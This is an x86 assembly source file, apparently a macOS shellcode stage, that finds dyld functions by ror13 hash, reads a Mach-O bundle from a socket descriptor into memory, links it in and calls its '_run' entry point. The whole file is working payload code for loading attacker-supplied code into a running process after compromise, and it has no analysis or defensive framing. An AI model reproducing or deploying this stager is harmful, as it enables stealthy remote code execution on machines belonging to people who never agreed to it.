297 lines
6.5 KiB
ArmAsm
297 lines
6.5 KiB
ArmAsm
;;;
|
|
;;; Skip straight to inject_bundle when we assemble this as bin file
|
|
;;;
|
|
jmp _inject_bundle
|
|
|
|
;;; --------------------------------------------------------------------
|
|
;;; Constants
|
|
;;; --------------------------------------------------------------------
|
|
%define MAP_ANON 0x1000
|
|
%define MAP_PRIVATE 0x0002
|
|
%define PROT_READ 0x01
|
|
%define PROT_WRITE 0x02
|
|
|
|
%define NSLINKMODULE_OPTION_BINDNOW 0x1
|
|
%define NSLINKMODULE_OPTION_PRIVATE 0x2
|
|
%define NSLINKMODULE_OPTION_RETURN_ON_ERROR 0x4
|
|
|
|
;;; --------------------------------------------------------------------
|
|
;;; ror13_hash(string symbol_name)
|
|
;;;
|
|
;;; Compute the 32-bit "ror13" hash for a given symbol name. The hash
|
|
;;; value is left in the variable hash
|
|
;;; --------------------------------------------------------------------
|
|
%macro ror13_hash 1
|
|
%assign hash 0
|
|
%assign c 0
|
|
%strlen len %1
|
|
|
|
%assign i 1
|
|
%rep len
|
|
%substr c %1 i
|
|
%assign hash ((((hash >> 13) | (hash << 19)) + c) & 0xFFFFFFFF)
|
|
%assign i i + 1
|
|
%endrep
|
|
%endmacro
|
|
|
|
;;; --------------------------------------------------------------------
|
|
;;; dyld_resolve(uint32_t hash)
|
|
;;;
|
|
;;; Lookup the address of an exported symbol within dyld by "ror13" hash.
|
|
;;;
|
|
;;; Arguments:
|
|
;;; hash - 32-bit "ror13" hash of symbol name
|
|
;;; --------------------------------------------------------------------
|
|
_dyld_resolve:
|
|
mov eax, [esp+4]
|
|
push eax
|
|
push 0x8fe00000
|
|
call _macho_resolve
|
|
ret 4
|
|
|
|
;;; --------------------------------------------------------------------
|
|
;;; macho_resolve(void* base, uint32_t hash)
|
|
;;;
|
|
;;; Lookup the address of an exported symbol within the given Mach-O
|
|
;;; image by "ror13" hash value.
|
|
;;;
|
|
;;; Arguments:
|
|
;;; base - base address of Mach-O image
|
|
;;; hash - 32-bit "ror13" hash of symbol name
|
|
;;; --------------------------------------------------------------------
|
|
_macho_resolve:
|
|
push ebp
|
|
mov ebp, esp
|
|
sub esp, byte 12
|
|
push ebx
|
|
push esi
|
|
push edi
|
|
|
|
mov ebx, [ebp+8] ; mach-o image base address
|
|
mov eax, [ebx+16] ; mach_header->ncmds
|
|
mov [ebp-4], eax ; ncmds
|
|
|
|
add bl, 28 ; Advance ebx to first load command
|
|
.loadcmd:
|
|
;; Load command loop
|
|
xor eax, eax
|
|
cmp dword [ebp-4], eax
|
|
je .return
|
|
|
|
inc eax
|
|
cmp [ebx], eax
|
|
je .segment
|
|
inc eax
|
|
cmp [ebx], eax
|
|
je .symtab
|
|
.next_loadcmd:
|
|
;; Advance to the next load command
|
|
dec dword [ebp-4]
|
|
add ebx, [ebx+4]
|
|
jmp .loadcmd
|
|
|
|
.segment:
|
|
;; Look for "__TEXT" segment
|
|
cmp [ebx+10], dword 'TEXT'
|
|
je .text
|
|
;; Look for "__LINKEDIT" segment
|
|
cmp [ebx+10], dword 'LINK'
|
|
je .linkedit
|
|
|
|
jmp .next_loadcmd
|
|
.text:
|
|
mov eax, [ebx+24]
|
|
mov [ebp-8], eax ; save image preferred load address
|
|
jmp .next_loadcmd
|
|
.linkedit:
|
|
;; We have found the __LINKEDIT segment
|
|
mov eax, [ebx+24] ; segcmd->vmaddr
|
|
sub eax, [ebp-8] ; image preferred load address
|
|
add eax, [ebp+8] ; actual image load address
|
|
sub eax, [ebx+32] ; segcmd->fileoff
|
|
mov [ebp-12], eax ; save linkedit segment base
|
|
|
|
jmp .next_loadcmd
|
|
|
|
.symtab:
|
|
;; Examine LC_SYMTAB load command
|
|
mov ecx, [ebx+12] ; ecx = symtab->nsyms
|
|
.symbol:
|
|
xor eax, eax
|
|
cmp ecx, eax
|
|
je .return
|
|
dec ecx
|
|
|
|
imul edx, ecx, byte 12 ; edx = index into symbol table
|
|
add edx, [ebx+8] ; edx += symtab->symoff
|
|
add edx, [ebp-12] ; adjust symoff relative to linkedit
|
|
|
|
mov esi, [edx] ; esi = index into string table
|
|
add esi, [ebx+16] ; esi += symtab->stroff
|
|
add esi, [ebp-12] ; adjust stroff relative to linkedit
|
|
|
|
;; hash = (hash >> 13) | ((hash & 0x1fff) << 19) + c
|
|
xor edi, edi
|
|
cld
|
|
.hash:
|
|
xor eax, eax
|
|
lodsb
|
|
cmp al, ah
|
|
je .compare
|
|
ror edi, 13
|
|
add edi, eax
|
|
jmp .hash
|
|
|
|
.compare:
|
|
cmp edi, [ebp+12]
|
|
jne .symbol
|
|
|
|
mov eax, [edx+8] ; return symbols[ecx].n_value
|
|
sub eax, [ebp-8] ; adjust to actual load address
|
|
add eax, [ebp+8]
|
|
.return:
|
|
pop edi
|
|
pop esi
|
|
pop ebx
|
|
leave
|
|
ret 8
|
|
|
|
;;; --------------------------------------------------------------------
|
|
;;; inject_bundle(int filedes)
|
|
;;;
|
|
;;; Read a Mach-O bundle from the given file descriptor, load and link
|
|
;;; it into the currently running process.
|
|
;;;
|
|
;;; Arguments:
|
|
;;; filedes (edi) - file descriptor to read() bundle from
|
|
;;; --------------------------------------------------------------------
|
|
_inject_bundle:
|
|
push ebp
|
|
mov ebp, esp
|
|
sub esp, byte 12
|
|
|
|
mov esi, edi ; arg0: filedes
|
|
|
|
.read_size:
|
|
;; Read a 4-byte size of bundle to read
|
|
xor eax, eax
|
|
mov al, 4
|
|
push eax ; nbyte
|
|
lea edi, [ebp-4]
|
|
push edi ; buf
|
|
push esi ; s
|
|
push eax
|
|
dec eax
|
|
int 0x80
|
|
jb .read_error
|
|
cmp eax, ecx ; A zero-read signals termination
|
|
je .read_error
|
|
mov ecx, [ebp-4]
|
|
xor eax, eax
|
|
cmp ecx, eax
|
|
je .read_error ; A zero value signals termination
|
|
|
|
jmp .mmap
|
|
.read_error:
|
|
jmp .error
|
|
|
|
.mmap:
|
|
;; mmap memory
|
|
xor eax, eax
|
|
push eax
|
|
push -1
|
|
push (MAP_ANON | MAP_PRIVATE)
|
|
push (PROT_READ | PROT_WRITE)
|
|
push ecx ; size
|
|
push eax
|
|
push eax ; spacer
|
|
mov al, 197
|
|
int 0x80
|
|
jb .error
|
|
mov edi, eax ; memory buffer
|
|
mov [ebp-8], edi
|
|
|
|
;; read bundle from file descriptor into mmap'd buffer
|
|
.read_bundle:
|
|
xor eax, eax
|
|
push ecx ; nbyte
|
|
push edi ; buf
|
|
push esi ; filedes
|
|
push eax ; spacer
|
|
mov al, 3
|
|
int 0x80
|
|
jb .error
|
|
add edi, eax
|
|
sub ecx, eax
|
|
jnz .read_bundle
|
|
|
|
mov edi, [ebp-8] ; load original memory buffer
|
|
|
|
;; Now that we are calling library methods, we need to make sure
|
|
;; that esp is 16-byte aligned at the the point of the call
|
|
;; instruction. So we align the stack here and then just be
|
|
;; careful to keep it aligned as we call library functions.
|
|
|
|
sub esp, byte 16
|
|
and esp, 0xfffffff0
|
|
|
|
;; load bundle from mmap'd buffer
|
|
push byte 0 ; maintain alignment
|
|
lea eax, [ebp-8]
|
|
push eax ; &objectFileImage
|
|
push dword [ebp+12] ; size
|
|
push edi ; addr
|
|
ror13_hash "_NSCreateObjectFileImageFromMemory"
|
|
push dword hash
|
|
call _dyld_resolve
|
|
call eax
|
|
cmp al, 1
|
|
jne .error
|
|
|
|
;; link bundle from object file image
|
|
xor eax, eax
|
|
push eax
|
|
mov al, (NSLINKMODULE_OPTION_RETURN_ON_ERROR | NSLINKMODULE_OPTION_BINDNOW)
|
|
push eax
|
|
push esp ; ""
|
|
push dword [ebp-8]
|
|
ror13_hash "_NSLinkModule"
|
|
push dword hash
|
|
call _dyld_resolve
|
|
call eax
|
|
|
|
;; run_symbol = NSLookupSymbolInModule(module, "_run")
|
|
mov ebx, eax
|
|
xor eax, eax
|
|
push eax ; "\0\0\0\0"
|
|
push 0x6e75725f ; "_run"
|
|
mov eax, esp
|
|
push eax ; sym
|
|
push ebx ; module
|
|
|
|
ror13_hash "_NSLookupSymbolInModule"
|
|
push dword hash
|
|
call _dyld_resolve
|
|
call eax
|
|
|
|
;; NSAddressOfSymbol(run_symbol)
|
|
sub esp, 12 ; maintain alignment
|
|
push eax
|
|
ror13_hash "_NSAddressOfSymbol"
|
|
push dword hash
|
|
call _dyld_resolve
|
|
call eax
|
|
|
|
;; _run(socket)
|
|
sub esp, 12 ; maintain alignment
|
|
push esi
|
|
call eax
|
|
|
|
.error:
|
|
;; Exit cleanly
|
|
xor eax, eax
|
|
push eax ; EXIT_SUCCESS
|
|
push eax ; spacer
|
|
mov al, 1
|
|
int 0x80
|